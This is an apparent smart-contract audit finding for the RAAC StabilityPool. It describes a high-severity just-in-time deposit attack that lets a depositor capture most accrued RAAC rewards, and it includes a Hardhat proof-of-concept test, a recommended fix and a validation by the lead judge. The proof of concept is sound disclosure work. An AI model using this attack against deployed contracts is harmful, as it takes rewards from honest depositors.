Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

A malicious actor can steal a reward from the stability pool using a sandwich attack.

Summary

malicious actor can deposit a large amount and withdraw and claim majority of the accrued reward, stealing rewards from honest users.

Vulnerability Details

User can deposit RToken into the stability to get RAAC token as a reward. The RAAC token is accrued based on a block passed since the last deposit or withdraw. The RAAC reward comes from RAACMinter when RAACMinter:tick is called. This tick function is called only when someone deposit or withdraw in stability pool using _update function.

function _update() internal {
_mintRAACRewards();
}
/**
* @dev Internal function to mint RAAC rewards.
*/
function _mintRAACRewards() internal {
if (address(raacMinter) != address(0)) {
raacMinter.tick();
}
}

Attack Scenerio

  1. Two user stake 100 RToken at block 1.

  2. There is no other deposit till block 7200.

  3. according to emission rate of 1000 / 7200, the reward should be 1000 RAAC.

  4. Now a malicious user came in and deposit 10000 RToken.

  5. He now withdraws in a same block, according to calculateRaacRewards the reward RAAC he will get will be

    totalRewards(1000) * userDeposit(10000) / totalDeposits(10100) = 990 RAAC

As you can see attacker was able to get majority of emission stealing from the honest user by just depositing for 1 transaction.

POC

Here is a POC with logs to show the issue. past this in StabilityPool.t.ts -> Deposits

it("should steal the rewards from the user", async function () {
// malicious user setup
await crvusd.mint(user3.address, ethers.parseEther("100000"));
await crvusd.connect(user3).approve(lendingPool.target, ethers.parseEther("100000"));
await lendingPool.connect(user3).deposit(ethers.parseEther("100000"));
await rToken.connect(user3).approve(stabilityPool.target, ethers.parseEther("100000"));
// honest user setup
const initialAmount = ethers.parseEther("100");
await stabilityPool.connect(user1).deposit(initialAmount);
await stabilityPool.connect(user2).deposit(initialAmount);
// total reward after 2 honest deposit
const RAACRewardAfter2Deposit = await raacToken.balanceOf(stabilityPool.target);
console.log({ RAACRewardAfter2Deposit });
// increment 100 block to accrue more rewards from the minter
for (let i = 0; i < 100; i++) {
await ethers.provider.send("evm_mine");
}
// accrue
await raacMinter.tick();
const RAACRewardAfter100BlocksFor2Depositor = await raacToken.balanceOf(stabilityPool.target);
console.log({ RAACRewardAfter100BlocksFor2Depositor });
// Individual reward for 2 depositor
const user1Reward = await stabilityPool.calculateRaacRewards(user1.address);
const user2Reward = await stabilityPool.calculateRaacRewards(user2.address);
console.log({ user1Reward, user2Reward });
// malicious user 3 deposit 100000 RToken
await stabilityPool.connect(user3).deposit(ethers.parseEther("100000"));
// malicious user get 99% of the reward
const maliciousUserReward = await stabilityPool.calculateRaacRewards(user3.address);
console.log({ maliciousUserReward });
// user3 withdraw 100000 RToken
await stabilityPool.connect(user3).withdraw(ethers.parseEther("100000"));
const maliciousUserRewardAfterWithdraw = ethers.formatEther(await raacToken.balanceOf(user3.address));
console.log({ maliciousUserRewardAfterWithdraw });
// final rewards
const user1InitialReward = ethers.formatEther(user1Reward);
const user2InitialReward = ethers.formatEther(user2Reward);
//user1 and user2 also withdraw their deposit of 1000 RToken
await stabilityPool.connect(user1).withdraw(initialAmount);
await stabilityPool.connect(user2).withdraw(initialAmount);
const user1FinalRewardAfterAttackerDeposit = ethers.formatEther(await raacToken.balanceOf(user1.address));
const user2FinalRewardAfterAttackerDeposit = ethers.formatEther(await raacToken.balanceOf(user2.address));
console.log({
user1InitialReward,
user2InitialReward,
user1FinalRewardAfterAttackerDeposit,
user2FinalRewardAfterAttackerDeposit,
});
});

Impact

Honest depositors will lose rewards discouraging them from depositing in the stability pool.

Recommendation

Either use a minimum delay for the user before withdrawing so a sandwich is not possible or use a SNX-style staking contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!